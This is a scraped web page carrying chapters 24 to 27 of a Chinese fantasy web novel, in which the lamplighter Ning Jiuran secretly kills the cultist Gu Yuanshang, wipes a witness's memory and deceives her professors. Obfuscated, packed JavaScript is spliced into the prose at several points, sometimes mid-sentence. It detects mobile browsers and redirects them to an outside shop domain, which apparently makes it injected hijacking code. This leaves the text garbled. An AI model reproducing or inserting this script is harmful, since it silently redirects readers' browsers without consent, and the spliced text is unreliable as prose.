d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不必,那两位教授至少是六重神相的强者,异鸮数量虽多,但对付起来也足够了。”宁九燃拉下挡板,听见其他包厢慌乱地吵嚷,“车上这帮人下去估计只能添乱。” 宁九燃凝神听了会外面的动静,两位教授果然让所有人留在车上不动,亲自下车去对付人面异鸮。 车厢外,发动神技的声音和人面异鸮的惨叫声此起彼伏,人面异鸮的叫声极类人声,听着格外瘆人。 没多久,外面就逐渐安静了下来。 “这是……解决了吗?”路嘲风有些好奇地把车窗往上推了一点,想往外看。 宁九燃心中一紧,几乎是下意识地拽过路嘲风,左手凝盾挡在他们身前:“不对!” 一股黑气极快地穿过窗缝,堪堪被宁九燃的火焰挡下。 “是黑雾!这些人面异鸮都被黑雾异化了,死后黑雾就会离体流窜!”宁九燃厉声说。 其余四人齐刷刷看向她。 这时,车厢外邪风乍起,一个尖锐而刺耳的声音回荡在四面八方: “诸位杀了我好不容易培养的人面异鸮,该不该……给它们陪葬呢?” 他的声音穿透力极强,仿佛直直刺入耳膜。 “这……这是什么人?”辰刻心里有种不详的预感,转头去看宁九燃。 “伪神教的谷辕殇,善用黑雾炼化、驱使异兽。”宁九燃的眼神沉了下去,“残忍,嗜杀。” 这车人,遇到麻烦了。 24. 第24章 谷辕殇一身血棕色长袍,立在停住的列车车顶之上,手指捻拢放在嘴边一吹,树林中骤起万千血鸦。 “小心!”章教授双手交叠,神力凝成巨大的光盾挡住疯狂冲撞的血鸦。 贺教授一侧身,手中握住神骨长剑,飞身刺向谷辕殇:“伪神教徒,受死!” 车厢内。 “这个谷辕殇,好像不在十二护法之列,难对付吗?”姜滚晁开口问。 “他应该也是六重神相。”辰刻接话,他在司里发的资料中看到过。 路嘲风松了口气:“那两个教授肯定打得过他呀,我们就不用担心了吧?” “打不过。”宁九燃抬眸,语调平静地说,“谷辕殇虽然只开到六重神相,但他的神格狩渊是3S级神格,相同神力层级下,3S级神格打两个S级神格几乎没有难度。” 她了解谷辕殇这个人,变态嗜杀到了一定境界,要不是经常违反主教的旨意,十二护法肯定有他的位置。 “而且,两位教授刚刚还被人面异鸮消耗了神力!” “咳咳……咳……”章教授被神力击退数步,左手麻痹无法动弹,没控制住呛出了血。 贺教授连忙上前扶住她:“章教授!”他的双眼在神力的威压下充血,死死地盯着仅仅用了前两重神技的谷辕殇。 神格等级差距太大,何况伪神教徒本就还利用黑雾修习,怕是他们二人拼尽全力也不是他的对手…… 可是,神异森林这条路线一向在请神司的管控之下,他竟能这样轻而易举出现在这里,难道是伪神教早有准备? 列车四周的黑雾浓度越来越高。 车上的提灯人纷纷使用神力开始净化黑雾。车门被拉开,好几个注意到教授颓势的提灯人边喊边往外冲:“教授,我们来帮你!” 章教授心中一骇,手中聚起神力用力将他们打了回去,然后迅速将车门用神力封死:“回去,所有人不许出来!” 车上的提灯人都是来自小城里的请神司,最高的神力层级大约不会超过三重神相,而且大部分都是刚从神格学院毕业转正,根本没有实战经验,下来根本就是送死! “章教授,助我一臂之力!”贺教授大步往前,调动全身的神力,双手结印,一个绿光流萦的钟罩凭空出现砸向谷辕殇,将他笼罩在其中,“快!” 竟用了这个神印!看来都赌在这一击了! 章教授飞身而起,双手凝火叠在贺教授的神力之上,火焰迅速蔓延了整个钟罩:“赤炎爆裂!”火焰渗入钟罩之后疯狂炸燃,将所有的攻击力都凝聚在一点。 会有用吗?哪怕……拖一点时间也好…… 章教授搀住神力消耗过大的贺教授,忐忑地看着剧烈爆燃之后的钟罩,赤炎爆裂是她的六重神技,她已经全力一击了。 “嗡——” 钟罩发出声响。 “桀桀桀……”阴森的狞笑之后,钟罩“砰”的炸开,谷辕殇毫发无损地站在原地,神色阴然,“你们真的很烦,本来主教大人让我用黑雾污染那群提灯人就好,但我现在改主意了,我要弄死你们!” 说完,他右手高高抬起往下一压:“万重之盘!” 可怕的重压瞬间落下,两位教授纷纷被压得跪倒在地,呼吸困难。车上的提灯人状况更糟,大部分都已经趴倒在地,耳朵开始流血。 “万山壁垒!”在重压下来的那一瞬间,姜滚晁迅速将巨剑插入地面,厚重的岩石如活物般升起,在储物室里为他们五人搭建了一个小空间,“神力有差距,我撑不了多久,接下来该怎么做?” “周围信号被完全屏蔽了,我们一时半会等不到援兵,只能自救。”宁九燃说,“你们听我说,我有办法撕开他的神技裂缝,一会我想办法把他引走,只要我们一离开,辰刻你立刻用束缚将两位教授带回,珰珰负责给大家治疗,滚晁你保护好她。” “燃姐!你疯了吗?”路嘲风不可置信地喊道。 “时间不够了,你们必须相信我!”宁九燃加重语气,“嘲风,列车是被凝滞胶控制住了,这种胶特殊,需要同时施加极热极寒两种神力,再用工具敲开。一会我们一走,你就立刻想办法去除凝滞胶,重启列车离开这,到有信号的地方求援!” 说完,她将一个光印按在辰刻掌心:“一旦离开,我就会想办法逃走,你们安全之后循着光印来找我!” “不行啊!”辰刻看着手心的光印,下意识拽住宁九燃的手腕,两秒后才反应过来抽回手。 宁九燃目光扫过他们每个人,沉声:“我是组长,按规定你们要听我的。” “现在,任务开始!” 章教授连呛了一口血,呼吸越来越重,她艰难地转身看向倒在她身后的贺教授,贺教授也正好抬头对上她的眼睛。 二人在对视上的那一瞬,眼里都透出决然。 力量悬殊,没有办法了。 可车上这群年轻的提灯人,虽然微弱,但也是联邦希望的一部分。 而且,他们叫我们“教授”,那就是我们的学生。 两人一点头,手心调转神力,慢慢移到胸口发光的请神灯处。 “我要……保护我的学生!”章教授嘶声喊道,手中聚光击向请神灯。 死也要! 就在刹那间,飞来一道火焰击碎她手中的神力,一个身影闪到她面前,轻轻搭上她的手,语调轻缓:“教授,不至于。” 她一抬头,对上一双极其明媚漂亮的眼睛。 弯弯的,还带着莫名令人心安的笑意。 宁九燃同时还挡下了贺教授击向请神灯的神力,起身后,正面看向站在不远处的谷辕殇。 她松弛地环抱双手,立在原地,语气轻快:“伪神教的谷辕殇是吧?久仰大名呀。” 谷辕殇似乎有点没想到会突然跳出个不怕死的,嘴角抽动了下:“哪来的小东西,找死吗?” 宁九燃磨了磨牙。 真难忍啊,要不是这么多人在场,这个谷辕殇在说出这句话的时候就应该去死了。 “诶,谁闲的没事找死呢?”宁九燃扯出一个笑,右手背在身后飞快结印,嘴上也没闲着,“我只是曾经听说过您的英勇事迹,想着终于见到真人,跟您来确认一下。” 贺教授奇怪地发现周身的重压似乎减轻了些,半跪在原地,尝试着恢复神力。 但刚刚神力枯竭,一时半会毫无起色。 刚刚那个女孩,好像是平海分司代表队的?她这到底是想做什么? 章教授与贺教授对视一眼,抬头看着挡在她们身前的宁九燃,余光又注意到列车尾部储物间窗户边挤着几人,应该是她的队员。 谷辕殇似乎来了兴趣,撤掉了近身的神技重压:“来,说说看。” 宁九燃向他走去。 “哎!那个谁……”章教授忍不住出声。 这小姑娘胆子怎么这么大? 宁九燃背后的手已经结印完毕,人也到了谷辕殇跟前,声音压得很低,只有他们两个能听见。 “我听说,您曾经在炼化异兽的时候,一不小心被异兽反噬——”宁九燃的眼睛微微转到一侧,嘴角弯起弧度,“然后趴在地上学狗叫来着。” “你!!”谷辕殇气血翻涌,陡然暴怒,手中聚出神力劈头盖脸地砸下来。 他要弄死这个不知死活的东西! 走了! 宁九燃背在身后的手一点,神印大亮,一双透明的翅膀飞闪出现,在谷辕殇的神力砸向她的瞬间带她飞离。 “谷辕殇,我想想啊,这种事我该跟哪些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599605|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人分享呢?” 她带着笑意的声音还在原地,人已经飞出去十几米远,身形在树林里影影绰绰。 谷辕殇哪肯让她逃走,召来一只人面异鸮就追了上去。 任务什么的在他眼里已经不重要了,他要让这个人死!! 宁九燃飞得极快,这种飞行神印短时间内无法二次结出,而且持续时间不到一分钟。她必须在这有限的时间里飞得够远。 当她背后的翅膀渐渐开始消失的时候,宁九燃落在一棵大树最粗壮的枝干上,四周一扫:这里应该接近神异森林中心圈,足够远了。 下一秒,一道实体化的神力攻击便劈了过来。 宁九燃没有抬头,只是微微抬手一挡,攻击便瞬间消散在她指前。 谷辕殇跳下人面异鸮,仰头看着站在高处宁九燃,面目已经变得扭曲:“跑不了了吧?跑这么远,没有人能救你了!” 宁九燃站在高处,虹膜慢慢变成血色,眼尾亮起凤凰羽印,红色的发尾在风中扬起,身上的九凤气息一点一点漫出,惊起四周的飞鸟。 她微微偏头:“是够远了。” 不会有人能看见了。你,可以去死了。 谷辕殇下意识感觉不对,决定速战速决,召出神骨长矛,叠加神力后全力一击,长矛以不可破之势刺向宁九燃,然后—— 停在了她面前。 “这……怎么可能?”谷辕殇瞠目惊道。 宁九燃伸手在长矛上一弹,火焰立刻盘旋而上,几息之间,长矛被灼烧殆尽。 “不……不对……这不可能!你是什么人!”谷辕殇的心中终于生出了恐惧,手开始生理性地颤抖,“怎么可能会烧化我的神骨!你到底是什么人!” 这个人身上的气息与刚才全然不同,身上透出的威压竟让人喘不上气。 难道说,她刚刚不是在逃跑,而是故意把他引来…… 谷辕殇猛地转过身,想要借助人面异鸮逃跑,下一秒,脚下火海陡生。火焰舔舐他的衣服,窜上他的四肢百骸,灼烧着他的神力。 怎么……怎么回事! 他转过身去看宁九燃,却见她以神力化弓,弓弦拉满,念道:“赤羽!” 赤羽箭应声离弦,破开护体神力,当胸射穿谷辕殇。 宁九燃收弓飞身下来,用力掐住即将瘫倒的谷辕殇,手中火焰爆燃,然后将他重重往下一砸。 骨裂声和谷辕殇的惨叫声同时响起。 宁九燃继续加重手上的力气,声音发狠道:“你害我在危险期使用第二神格,我要让你做鬼也不得安宁!” 伴随着一阵令人牙酸的骨裂声,宁九燃的五指穿透他颈侧的肌肉和筋膜,动脉猛地破裂,鲜血喷溅而出。 谷辕殇彻底没了生息。 宁九燃丢开手中的尸体,慢慢站起身,火焰流窜周身,烧掉了溅到身上的血液。 她转身往外走,切换回火鹤神格,身后燃起大火。 今天的这一切都会被火鹤的火焰抹去,一点痕迹都不会留下。 “咔嚓”,一声极其细微的树枝断裂声。 宁九燃倏然回头,一个躲在树丛里的人影被她一吓,“扑通”跌坐到地上。 然后……开始哭了。 宁九燃走近几步,看清了地上的人——一个看着十六七岁的男孩,长得胖乎乎的,衣着精致但是已经变得肮脏破烂,此刻正一把鼻涕一把眼泪,哭得相当投入: “呜呜呜……你不要杀我啊啊啊……我什么都没看见……我就是出来看异兽迷路了!我家很有钱的……我可以给你很多很多钱……你不要杀我呜呜呜呜……别杀我……” 唉…… 宁九燃在心里叹了口气。 打爽了,居然没注意边上有个傻的在偷看。 25. 第25章 宁九燃又走近几步,在他面前蹲下。 小胖子“嗷”的一声,吱哇乱叫地在地上连滚带爬,好像看见了什么吃人的妖怪似的。 “别动了……别动!”宁九燃被吵得耐心一秒告罄,干脆直接吓他,“闭嘴别动,不然我就让你跟他待一块!”她伸手指向快被烧干净了的谷辕殇。 直白威胁的效果立竿见影,小胖子立刻闭了嘴,只剩眼泪和鼻涕控制不住地往下淌。 “我问什么,你答什么,明白吗?”宁九燃象征性地通知了下。 小胖子疯狂点头。 宁九燃问:“你是谁?为什么会出现在这里?” “我我我……我叫卢西安,卢西安·诺克图尔。”小胖子声音打着颤,“我不是故意要来这的……他们都叫我别乱跑呜呜呜,但我真的好奇才迷路的……呜呜……呜我再也不乱跑了……” 诺克图尔?帕拉帝安家族的嫡系姓氏?这个傻子……竟是他们家族的嫡系? 四大家族的后人已经是这个水平了吗? 宁九燃在心里默默汗颜了下。 “你刚刚看出我是什么神格了吗?”宁九燃换了个脸色,笑眯眯地问。 “神……神格好好奇怪……我看到……看到风凰……很厉害……”卢西安还认真回忆起来了,“但是最后又变成另……另一个像鹤,你不……不会有两个神格吧?” 宁九燃真乐了,没忍住说:“哇,你真的好聪明哦。” 真的没有人教过他这种情境下该怎么说话吗?别人都想杀他了,他还好死不死地给别人加了个速…… 卢西安好像有点意识到自己说错话了,后知后觉地捂上嘴:“我我我……我……我不知道……你你你不要灭口啊……” 宁九燃在心里快速地盘算着:杀了有点不合适,但是神格确实被他看见了。关起来?感觉关不了太久。要不,干脆打成傻子? 卢西安感觉到,眼前这个脸上沾血的漂亮姐姐看他的眼神,就跟一口一个小孩的女巫似的,恐惧之下终于做出了一个蠢得令人发指的决定,他抓了一把草往前一丢,四肢凌乱地转身要逃。 宁九燃无奈地弹出手上的牵引绳把他提溜回来,感觉自己就算放他走,以他这个光滑的大脑皮层,估计也没法活着走出这片森林。 趁他又在哭爹喊娘的时候,宁九燃蹲下身从他刚刚抓的那把草中捡出了一株长得像鱼尾的草,感叹道:“竟然是鱼知草,这个傻子运气还挺好的。” 鱼知草是一种非常稀有的神草,功效是混淆记忆,只不过有条件限制…… “诶,别哭了,你开到几重神相了?”宁九燃手上捏着草,问他。 卢西安快哭撅过去了,上气不接下气:“我……我我……二重神相……” 命真好,这草对高于三重神相的就没用了。 宁九燃用神力激出鱼知草的药性,抬手往卢西安面门一敲,卢西安吓得一动不敢动,眼神渐渐空了。 “卢西安。”宁九燃叫道。 卢西安呆呆地点了点头:“我在。” “你在神异森林迷路了,刚好碰见了平海城的提灯人宁九燃,她从一只异兽爪下救了你,引跑了异兽,让你留在原地等待救援。”宁九燃继续激出鱼知草的药性,打定主意要占帕拉帝安家族这个人情,“记住了吗?” “记住了,是平海城的提灯人宁九燃救了我。”卢西安重复着。 “她的神格是火鹤,除此之外,你什么也没有看见。”宁九燃继续说。 卢西安重复:“她的神格是火鹤,除此之外,我什么也没有看见。” 宁九燃再在他面门上一点,卢西安就晕了过去。宁九燃把他放到一棵树下,周围埋了数道神印,只要有异兽进入就会触发,最后将手上的光印转到了他的手上。 “这人情,还是实打实的比较好。卢西安,以后可得好好报答我。”宁九燃轻声说,然后转身离开。 时间还早,她还有空去算个账。 伪神教主殿。 如果请神司的人有机会去一趟伪神教主殿,会发现这里跟他们想象的乌漆嘛黑修罗地狱完全不同。 主殿的所有建筑都是纯白色,巨大的穹顶洒下毫无温度的天光,墙壁与地砖由不知什么材质的白色方块砌成,光滑得映不出人影。 就连中间的大祭坛上亮着的都是白光。 宁九燃虽然已经对主殿很熟悉了,但有段时间没回来,刚踏入的时候还是被晃了眼睛。 她当初也好奇过邪恶得明明白白的组织为什么要用这么铺天盖地的白色。 后来听人说是第一任主教觉得,白色容易让人产生信仰。 她当时颇为认可地点头,心想:果然是邪教。 “你来了,我的圣女殿下。” 一个温柔到近乎亲昵的声音从主殿尽头传来,打破了静寂。 在远处的祭坛前,一个纯白的身影不知何时已站在那里。他背对着她,身形修长而挺拔,那件剪裁的白色主教袍,几乎与这片纯白的空间融为一体。 他缓缓转过身,那双异色瞳——温暖的琥珀与墨青的深渊,把目光落到了宁九燃的身上。 宁九燃戴了遮住全脸的面具,穿了包裹全身的帽兜长袍,站在他面前,冷声开口:“主教大人,原来我还是伪神教的圣女啊,我还以为自己早就不是伪神教的人了呢。” 主教尤里乌微微弯起双眼,走到宁九燃跟前,声音依然亲昵:“生气了?” “不该生气吗?”宁九燃转身走开,在一旁的座位上坐下,往后一靠,语气非常不好,“你们选的常清莫名其妙叛变,血月黑雾,隧道的四凶阵,暗沼违反约定泄露我的长相,以及那天夜巷刺杀。主教大人,如果你不能给我一个很好的解释,那么我就算躯体崩坏而死,也不会再帮你做半件事!” 尤里乌看着没有半分生气,在她对面坐下,说:“常清叛变我也没有料到,关于这个,我已经罚过暗沼了,还让他及时给你送去了血池水不是吗?而后面隧道那一次,我可要说说你了……” 宁九燃抬眼看他。 “那次我本来安排好要让请神司放弃救援公民,动摇他们的民心,你掺合进去坏了我的计划,我可没有怪过你,你怎么好向我兴师问罪呢?”尤里乌说。 宁九燃:“我们曾经约定过,任何在平海城的行动都必须先通知我,你忘了吗?” “九燃,在你做出行动之前,没有人通知你这是我的计划吗?”尤里乌的异色瞳直视着宁九燃的眼睛,声音忽的一沉,“有的,有人告诉你了,但你杀了他,并且依然坚持破坏我的计划。我知道你的心不在伪神教,不然也不会和我做那样的交易,但你现在既然还是教中圣女,就应当以教中事务为先。” 他猜到了。 宁九燃的呼吸重了几分。 两人之间的氛围僵硬了一会,尤里乌转变脸色,先缓了语气:“好啦,我们各退一步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“行了,血池水给我,我还得赶回去。”宁九燃知道自己打听不到什么了,站起身冲他伸出手。 尤里乌取出一瓶血池水放在她手中,但没有立刻收回,而是释放神力探上了宁九燃的神脉,眉头一拧,厉声盘问:“你动用了几次九凤的神力?身体怎么崩坏到这种地步了!” 他看宁九燃跟没事人一样,没想到她身体的崩坏早就非常严重,甚至她还强行压制了裂痕的显现,不知承受了几倍的痛苦。 宁九燃抽回手,将血池水收好:“暗沼惹的那几次和今天的谷辕殇。本来还好,但是夜巷截杀那天,其实刺杀者成功了,若我不是九凤神格,拥有神技涅槃,我就真的死了。那次耗费神力过大。” 她看尤里乌还想说什么,直接打断他:“所以麻烦主教大人别再给我添麻烦了,否则您等不到我给您拿回司道死亡的真相。” 尤里乌想了想,又取出两瓶血池水递给她,神情复杂:“拿好,我等你给我带回司道死亡的真相。” 宁九燃有些诧异,以前这血池水他都是一月一瓶,限得非常死,让她只能跟伪神教牢牢绑在一次。 今天这是见鬼了?还是被她骂了两句良心略有发现? 算了,不可能,有良心他就不是伪神教主教尤里乌了。 她收好血池水,匆匆离开伪神教,赶往神异森林找他们汇合。 26. 第26章 辰刻没有消除掉手上的光印,所以宁九燃在天亮时分比较顺利地找到了他们。 他们没有离开森林,而是将列车停在了森林最后一段的轨道上,周围已经下了防护禁制,看来是找到救援了。 林珰珰留在车内治疗伤员,路嘲风在给她帮忙。 辰刻违背教授的提醒,坚持在禁制外围徘徊,时不时往森林深处看去。 “我等不了!我要去找组长!”姜滚晁把巨剑一背,就要闯出禁制去。 “别……”辰刻伸手拉住姜滚晁,阻止他冲动,忽然身后响起一个熟悉但有些疲惫的声音: “我回来了。” 辰刻猛的转身,就看见担心了一整晚的人出现在面前。 她的笑带着明媚,就跟他第一次见到的一样。 除了脸色有些苍白,看着好像没什么大碍。 “你……你怎么能把光印给别人?我找不到你啊宁九燃!”辰刻几乎是快步跑到她身前,声音里头一次带着如此强烈的情绪 “我没事……”宁九燃抬手去拍他的肩,刚举起手,身形一晃,整个人毫无预兆地倒了下去。 辰刻瞳孔骤缩,失声大喊:“宁九燃!” 姜滚晁还有车上的林珰珰与路嘲风闻声赶来,林珰珰一个踉跄扑到被辰刻扶起的宁九燃身前。 “珰珰!快!”辰刻扶着宁九燃的手忽然感到一阵温热,抽出一看,竟全是血! 宁九燃的背后有数道极长的伤口! 林珰珰迅速使用神技:“珍珠愈疗!”凝出一颗发光的白色珍珠放进宁九燃嘴里。 两位教授也注意到这边的情况赶来,看见宁九燃先是一惊,然后立刻调来刚刚输送过来的直升机,让辰刻他们小心托着宁九燃上去:“赶紧先回请神城治疗!不要耽误了!” 其中一个教授也上了直升机,护送他们入城。 这一次,宁九燃做了一个很长的梦。 梦里,她在一个遍布熔岩的地方待了很久,火焰翻腾舔舐这她的每一寸皮肤,她必须要不断提升自己的神力才能压过火焰,直到最后,火焰全都能为她所用。 她又梦见自己好像在追什么人,很多很多人,每一张脸都很清晰地出现,但每一张都是无比的陌生。 她不知道自己为什么要追那些人,也不知道追上之后自己做了什么,最后的画面就停留在他们的脸上,他们就那样看着她。 梦陷入了这个追人和画面定格的过程,好像过了很久,她又在追,追的应该是一个女人。 追逐的画面很乱,过程应该很艰难,但她还是追上了,手中的沉水枪举了起来。 可这一次,她没有看清那个女人的脸。 梦到这里戛然而止,宁九燃睁开了眼睛。 我为什么会做这样的梦?我分明从未见过梦里那些面孔。 还有最后的那个女人,究竟是谁?为什么我看不清她的样子,但心里却异常难受? 真的是太奇怪了。 宁九燃十分困惑,这几个月来她做这些无厘头的梦的次数越来越多。 “燃姐!你终于醒了!” 宁九燃的思绪被拉回,微微偏头,先看见的是赶来站在床头的辰刻,然后就是刚刚嚎那一嗓子的路嘲风。 路嘲风那簇五颜六色的毛被他薅得乱七八糟,一看就是有几天没打理了。 还有辰刻,宁九燃扫过他的衣服,对上他的目光,开始故作轻松地调侃:“辰刻,你的衬衫居然皱了,小心人设要崩。” 辰刻不接话,就是看着她。 这让宁九燃想起自己之前承诺要陪安昭去玩,结果临时教中有事,耽误了一天回家后,发现这小孩委屈巴巴地坐在她房间门口等了她一天。 当时她一进门,安昭看她的眼神就是这样的。 宁九燃被这个眼神盯到心虚,舔舔嘴唇:“那个,有点渴。” “九燃姐姐!”林珰珰听到消息赶过来,挤到她床前,眼眶没忍住就红了,“你吓死我了,你真的吓死我了,你以后不可以这样了……” 姜滚晁跟在林珰珰身后进来,七组人一齐,整个病房都显得热闹起来。 辰刻端来倒好的水,宁九燃被林珰珰扶着坐起来之后,接过水开始喝。 “宁九燃,下次这样的任务,我拒绝执行。”辰刻语气生硬地说完话,转身就走出了病房。 路嘲风看见辰刻走了,忙说:“燃姐,你别生气,辰哥他不是那个意思。我们当时一脱困就立刻去找你,你不知道辰哥循着光印最后没找到你的时候有多着急,我们几个全急疯了!” 宁九燃喝完最后一口水,把水杯递给林珰珰,说:“我知道,我不会生气。” “姐姐,你下次不能这样了,幸好你回来了……”林珰珰握着宁九燃的手。 “我知道啦,我这不没事吗?”宁九燃笑着说,“就跟睡了一觉似的,神清气爽。” 门被推开,章教授匆匆走进来,看着像是收到消息就赶来的,形色匆忙。 “嗨,教授!”宁九燃微笑着打招呼,“大家都还好吧?” 章教授走到她跟前,捋了捋衣服,郑重地说:“宁九燃,我代表全车安然无恙的提灯人感谢你。” “这么正式嘛?”宁九燃摆摆手,“客气啦教授,我也就是做了力所能及的事。” 章教授深深地呼吸了下,弯下腰,眼神里带着歉意:“对不起,宁九燃,我要向你和整个平海分司代表队道歉。” “诶!不是……”宁九燃给这突如其来的举动吓得要从床上下来,伸手给林珰珰,“珰珰,扶一下扶一下,不是教授,这礼不合适哈……” 她连拉带拽地从床上下来把章教授扶起来:“不是不是,为什么要道歉呢?” “不只是我道歉,我还替今天无法到场的贺教授向你们道歉。”章教授站直后继续说,“我们之前确实是刻意针对你们队的。因为你们是后来突然加入名单的,参赛名额向来固定,很少会有名……名不见经传的队伍加入,除非是用手段挤掉了别人的名额。” “哦,所以教授你之前以为我们平海使了手段,抢走了别人好不容易得到的名额,然后就看我们不顺眼,故意冷落还不给包厢?”宁九燃明白了,难怪这两个教授先前故意针对他们,原来是以为他们是关系户。 “对,参加提灯人大赛是所有提灯人的至高梦想,一些实力弱的分司参赛本就不易,所以我们才……”章教授说话声音低了些,“但是我……我回来之后,觉得你们不是那样的人,所以特地去查了,才知道你们的名额是因保护公民立功特批的。对不起,误会你们了。” “没事教授,我当时还以为您是看不起我们平海分司呢,觉得您捧高踩低!”路嘲风大大咧咧地开口,“这么说来,我们也误会您了,扯平扯平!” 宁九燃颇为无语地看了路嘲风一眼。 这种扯平……是可以这样说的嘛? “教授,他大约太多天没睡觉了,您别见怪。”宁九燃冲姜滚晁使了个眼色,“滚晁,拉他回去睡觉,让他的脑子休息会。” 姜滚晁点头,伸出胳膊把挣扎的路嘲风一勾,就直接拽出了门。 “那个,宁九燃,我听说你身后的伤是被巨犀兽抓的,这是怎么回事?你那天离开之后是怎么逃脱的?”章教授关切地问。 “是这样,那天我飞走之后,知道自己肯定打不过谷辕殇,所以就往森林中心圈飞,刚好碰上一窝穴蛛。我就捅了它们的窝,把它们引到谷辕殇面前,趁它们纠缠的时候跑掉了。”宁九燃说,“我在往回走的时候,遇上了那个被巨犀兽追的卢西安,就是帕拉帝安家的那个小少爷。他太弱了,我就把光印留给了他,引跑了巨犀兽,背上的伤就是再跟巨犀兽搏斗的时候留下的。” “原来是这样,幸好你聪明,没有跟谷辕殇正面对上。”章教授点点头,“否则你要真出了什么事,我和贺教授可能会无法原谅自己,作为教授,我们怎么能让学生挡在我们面前……” 而且,还是这样好的学生。 宁九燃观察着章教授的神色,知道她已经信了自己的说辞。 她当初从伪神教返回的时候就考虑到了,以她表现出来的实力,是不可能在谷辕殇的手下全身而退的。 所以她特地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623925|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑到森林中心圈找了只巨犀兽打了几架,只是没想到巨犀兽这么不经打,她都快放海了,巨犀兽都没能在她身上留几道像样的伤。最后捅了巨犀兽的窝才达成想要的效果,结果因为打了太久太累,见到辰刻他们后啪嗒一下就睡过去了。 不过,歪打正着实现了昏迷的效果。 “好啦,宁九燃,学校有事我就先走了。”章教授说,“你好好休息,准备比赛,以我的观察,你们平海队未来可期。对了,我的全名叫章疏泽,是请神城高等神格学院神格理论系的教授,若有需要,随时来找我。”说完,她向宁九燃伸出了手。 “谢谢教授。”宁九燃握上她的手。 格利烬坦家族辖地,边缘森林区。 一群黑衣人以极快地速度在密林中移动,身上都隐隐约约弥漫着黑色的雾气。 领头的边跑边说:“天亮之前,我们必须离开这里,听说那个人回辖区了!” “什么?若是被他发现,我们肯定走不了了!”身边的黑衣人接话,脚上的速度又快了几分。 “飒——” 周边的树林中忽有大风刮起,一道黑红相间的影子倏的闪过。 什么东西! 领头的一惊,就看见一双巨大的机械翅膀掠过他们头顶,然后悬飞在他们面前。 “这……这这……什么鬼东西!”边上的黑衣人出声。 “你们……”一个清冷的声音响起,在场的所有人无法控制地脊骨一凉,“已经走不了了。” “谁!”领头的人大喊,就见那只机械怪物的背上凭空划开一道光门,一个白发红瞳的人走了出来。 “是……是弑神者!”人群中有人失声惊叫,“是弑神者赫应决!!” 领头人看清来人长相,嘶声喊道:“快快……快跑!” “跑?”冷月的光洒在赫应决玄黑的弑神者服饰上,他轻轻勾起手指,巨大的烛龙神印拔地而出,笼罩了仓皇逃窜的伪神教徒,“你们既然敢踏足格利烬坦的辖区,就不应该还想着要回去。” 他的手微微一握,神印中的人就一个接一个全部倒下。 赫应决扫了眼地上的人,开口:“凤凰,人我没杀,让那群废物来打扫走问点什么出来。” “好的,大人。”凤凰应道。 “不过,伪神教最近的动作确实越来越多了,之后把相关信息作为最高优先级通知我。”赫应决吩咐道。 “好的,大人。”凤凰顿了下,说,“根据我最新了解的信息,两天前发生的多起伪神教攻击参赛队伍列车事件已有了新的信息总结。被攻击的列车承载的基本都是来自偏远请神司的提灯人,除了编号为7698的列车,其余列车均有多位提灯人受到黑雾污染,已送往特殊医院治疗。” “7698号列车……”赫应决重复了一遍。 “是的大人,您之前问过我的,提灯人宁九燃所乘的列车编号。”凤凰说,“攻击这辆列车的是伪神教的谷辕殇,听说是宁九燃和她的队友力挽狂澜保护了全车的人,虽然听着不可思议,但随行的章疏泽教授是这样报告的。” “宁九燃在,就没什么不可思议的了。”赫应决说完顿了下,又开口问,“她受伤了吗?” “宁九燃受到了巨犀兽的攻击,在请神城神格医院治疗。”凤凰的机械音卡了下,发表了自己的困惑,“虽然我并不理解她为什么会受这样的伤,而且根据我对她的实力评估,她似乎没有可能在谷辕殇的手下全身而退。大人,我不是很明白。” 赫应决慢慢消散了自己的神相,眼睛变会黑色,然后在凤凰的背上坐了下来:“不奇怪,她本就是这样……这样一个对自己毫不心软的人。” “大人,据我所知宁九燃还没有出院,按照您上次的举动,您是否准备去探望她?”凤凰说,“我可以提前为您安排行程。” 赫应决垂眸,不知在想些什么,半晌才低声开口:“不必了。” 他坐了一会后站起身,说:“回格利烬坦主城,那帮人特地让我回来,应该不止是为了抓这几个伪神教的东西。” “好的,大人。”凤凰应道。 27. 第27章 格利烬坦主城,主楼议事大厅。 高台中间坐着格利烬坦的家主,底下是家族中一众有名有姓的长老和各支脉的主事,人人正襟危坐,乌泱泱坐了一片,只有家主身边的副座空着。 底下一个小支脉的主事大约是第一次来这种地方,压着极低的声音对边上人说:“在等谁啊?家主都到了,谁那么大面子?” “闭嘴。”边上的人几乎是从牙缝中挤出声音,“置喙弑神者你活够了吗?” 主事一惊,吓得埋下头,就看见大门自动打开,一个黑红的身影迈了进来。 “弑神者大人。”除了家主,所有人齐齐起身行礼。 他目无所视,径直穿过中间的路走到副座上坐下,松弛地往后一靠,机械凤凰缩小了实体随着他飞进来,落在他座位的扶手上。 